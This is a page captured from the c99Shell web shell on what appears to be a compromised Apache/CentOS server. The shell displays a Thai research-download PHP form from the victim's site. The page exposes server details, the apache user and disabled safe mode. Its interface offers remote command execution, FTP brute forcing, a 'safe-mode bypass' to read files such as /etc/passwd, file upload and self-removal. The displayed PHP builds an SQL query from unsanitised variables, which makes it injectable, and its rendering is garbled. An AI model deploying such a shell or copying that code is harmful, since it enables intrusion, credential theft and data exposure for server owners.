!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Research_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     loadResearch.php (6.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
           require_once( 
"../includes/FunctionDB.php" );
        require_once( 
"../includes/Function.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
       
         
$sql "Select * From  research_download   WHERE    dowId ='$dowId'   and  Research_code='$Research_code'   ";
        
$result mysql_query($sql) or die(" Error").mysql_error();
         
$rss mysql_fetch_array($result);
         
?>
    
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="javascript" src="../js/calendarDateInput2.js"></script>
</script>

<script language="javascript">
function fncSubmit()
{
        if(document.form1.radio1.checked == false && document.form1.radio2.checked == false && document.form1.radio3.checked == false && document.form1.radio4.checked == false )
        {
            alert('กรุณาเลือกรูปแบบ');
            return false;
        }   
        if(document.form1.Agency.value == "")
        {
            alert('กรุณากรอกชื่อหน่วยงาน');
            document.form1.Agency.focus();
            return false;
        }   
        if(document.form1.Name_info.value == "")
        {
            alert('กรุณากรอกชื่อและนามสกุล');
            document.form1.Name_info.focus();        
            return false;
        }   
        document.form1.submit();
}
</script>

<?php ?>
<br />
<table width="452" border="0" align="center" cellpadding="1" cellspacing="0">
    <tr>
        <td width="450" height="194">
         
         
            <form id="form1" name="form1" method="post"  enctype="multipart/form-data"  action="InsertDownload.php"  onSubmit="JavaScript:return fncSubmit();">
              <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" style="background-color:#eeeeee; border:0px solid gray; font-size: 14px;"size="12">
                  <tr bgcolor="#F3F3F3">
                    <td align="center" bordercolor="#CCCCCC" bgcolor="#FFFFFF">
                    บันทึกการนำไปใช้ประโยชน์</td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><input name="CatId" type="radio" id="radio1" value="1" <?php if (!(strcmp("$rss[CatId]","1"))) {echo "checked";} ?> /> เชิงสาธารณะ</td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td width="96%" bordercolor="#FFFFCC" bgcolor="#FFFFFF"><script>QBPATH='./editor'; VISUAL=1; SECURE=0;</script>
                           <script src='./editor/quickB.js'></script> 
                           <script src='./editor/tabedit.js'></script>
                      <input name="CatId" type="radio" id="radio" value="2" <?php if (!(strcmp("$rss[CatId]","2"))) {echo "checked";} ?> /> เชิงพานิชย์</td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><input name="CatId" type="radio" id="radio3" value="3" <?php if (!(strcmp("$rss[CatId]","3"))) {echo "checked";} ?> /> เชิงนโยบาย</td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><input name="CatId" type="radio" id="radio4" value="4" <?php if (!(strcmp("$rss[CatId]","4"))) {echo "checked";} ?>  /> ทางอ้อมของงานสร้างสรรค์</td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"> หน่วยงาน
                    <input name="Agency" type="text" id="Agency" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Agency'];?>"  size="45" /></td>
                </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"> ชื่อ-สกุล
                      <input name="Name_info" type="text" id="Name_info" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Name_info'];?>"  size="45" /></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp; <script>DateInput('mDate', true,'DD/MM/YYYY','<?=(isset($rss["DateYear"]))?ymdT2dmyE($rss["DateYear"]):date("d/m/Y");?>');</script></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td align="left" bordercolor="#FFFFCC" bgcolor="#FFFFFF">ปีปฏิทิน
                      <select name="academic_year_finish" id="academic_year_finish">
                      <?php
                $curr_year 
date("Y")+543
                
$prev_year $curr_year-10;
                
$next_year $curr_year+3;
                
                for( 
$i=$prev_year$i<=$next_year$i++ ) { 
                
?>
                      <option value="<?=$i;?><?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'?>>
                        <?=$i;?>
                      </option>
                      <?php
                
# for
            
?>
                    </select></td>
                </tr>
                  <tr bgcolor="#F3F3F3">
                    <td align="center" bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td align="center" bordercolor="#FFFFCC" bgcolor="#FFFFFF">อัปโหลดเอกสาร
                        <input name="Filetex" type="file" id="Filetex" size="20" />
                    </span></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td align="left" bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#F3D6F2">
                    <td align="center" bgcolor="#FFFFFF"><input name="Research_Id" type="hidden" id="Research_Id" value="<?=$Research_Id?>" />
                      <input name="Research_code" type="hidden" id="Research_code" value="<?=$Research_code ?>" />
                      <div align="center">
                      <input name="Submit" type="submit" class="WIDTH60" id="Submit" value="ตกลง"  />
                      &nbsp;
                        <input type="button" name="Submit" value="ปิดหน้าต่าง" onclick="javascript:parent.close();" class="CURSOR-HAND" id="Submit" />
                        <input name="dowId" type="hidden" id="dowId" value="<?=$dowId?>" />
                    </tr>
                </table>
                        </form>
          
        
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0106 ]--